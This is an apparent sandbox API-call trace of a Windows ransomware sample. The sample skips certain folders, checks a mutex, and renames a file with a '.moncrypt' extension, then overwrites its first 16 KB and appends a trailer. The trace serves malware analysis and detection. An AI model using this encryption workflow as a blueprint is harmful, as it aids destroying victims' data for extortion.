shared\\themes14\\breeze\\") returned 0x3f [0050.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0050.872] GetLastError () returned 0x2 [0050.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0050.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0050.873] GetLastError () returned 0x2 [0050.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0050.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0050.873] GetLastError () returned 0x2 [0050.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0050.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0050.874] GetLastError () returned 0x2 [0050.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0050.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0050.874] GetLastError () returned 0x2 [0050.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0050.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0050.875] GetLastError () returned 0x2 [0050.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0050.875] GlobalLock (hMem=0x440004) returned 0x550170 [0050.875] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.875] GlobalUnlock (hMem=0x440004) returned 0 [0050.875] GlobalLock (hMem=0x440004) returned 0x550170 [0050.875] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.875] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.875] GlobalUnlock (hMem=0x440004) returned 0 [0050.875] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.875] GlobalUnlock (hMem=0x44000c) returned 0 [0050.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.875] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.876] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0050.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.876] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.876] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.876] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.876] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.876] GlobalUnlock (hMem=0x44000c) returned 0 [0050.876] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.876] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.876] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.876] GlobalUnlock (hMem=0x44000c) returned 0 [0050.876] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.876] GlobalUnlock (hMem=0x440004) returned 0 [0050.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0050.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0050.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0050.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.878] GlobalLock (hMem=0x440004) returned 0x550170 [0050.878] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.878] GlobalUnlock (hMem=0x440004) returned 0 [0050.878] GlobalLock (hMem=0x440004) returned 0x550170 [0050.878] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.878] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.878] GlobalUnlock (hMem=0x440004) returned 0 [0050.878] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.878] GlobalUnlock (hMem=0x44000c) returned 0 [0050.878] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.878] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.878] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0050.878] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.878] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.878] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.878] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.879] GlobalUnlock (hMem=0x44000c) returned 0 [0050.879] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.879] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.879] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.879] GlobalUnlock (hMem=0x44000c) returned 0 [0050.879] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.879] GlobalUnlock (hMem=0x440004) returned 0 [0050.879] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.879] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.880] CloseHandle (hObject=0x18c) returned 1 [0050.880] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\я")) returned 1 [0050.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 0x54e240 [0050.881] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.881] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.881] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", dwFileAttributes=0x20) returned 1 [0050.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.moncrypt")) returned 1 [0050.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.883] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.883] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x1a537 [0050.883] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.883] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.885] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.885] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.885] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.885] GlobalUnlock (hMem=0x44000c) returned 0 [0050.885] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0050.885] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.885] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.885] GlobalUnlock (hMem=0x44000c) returned 0 [0050.885] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.885] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.886] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.886] GlobalUnlock (hMem=0x440004) returned 0 [0050.886] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.886] GlobalUnlock (hMem=0x44000c) returned 0 [0050.886] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.886] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.886] GlobalUnlock (hMem=0x44000c) returned 0 [0050.886] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.886] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.886] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.886] GlobalUnlock (hMem=0x44000c) returned 0 [0050.886] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.886] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.886] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.886] SetFilePointer (in: hFile=0x18c, lDistanceToMove=107831, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x1a537 [0050.886] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.886] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.886] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, 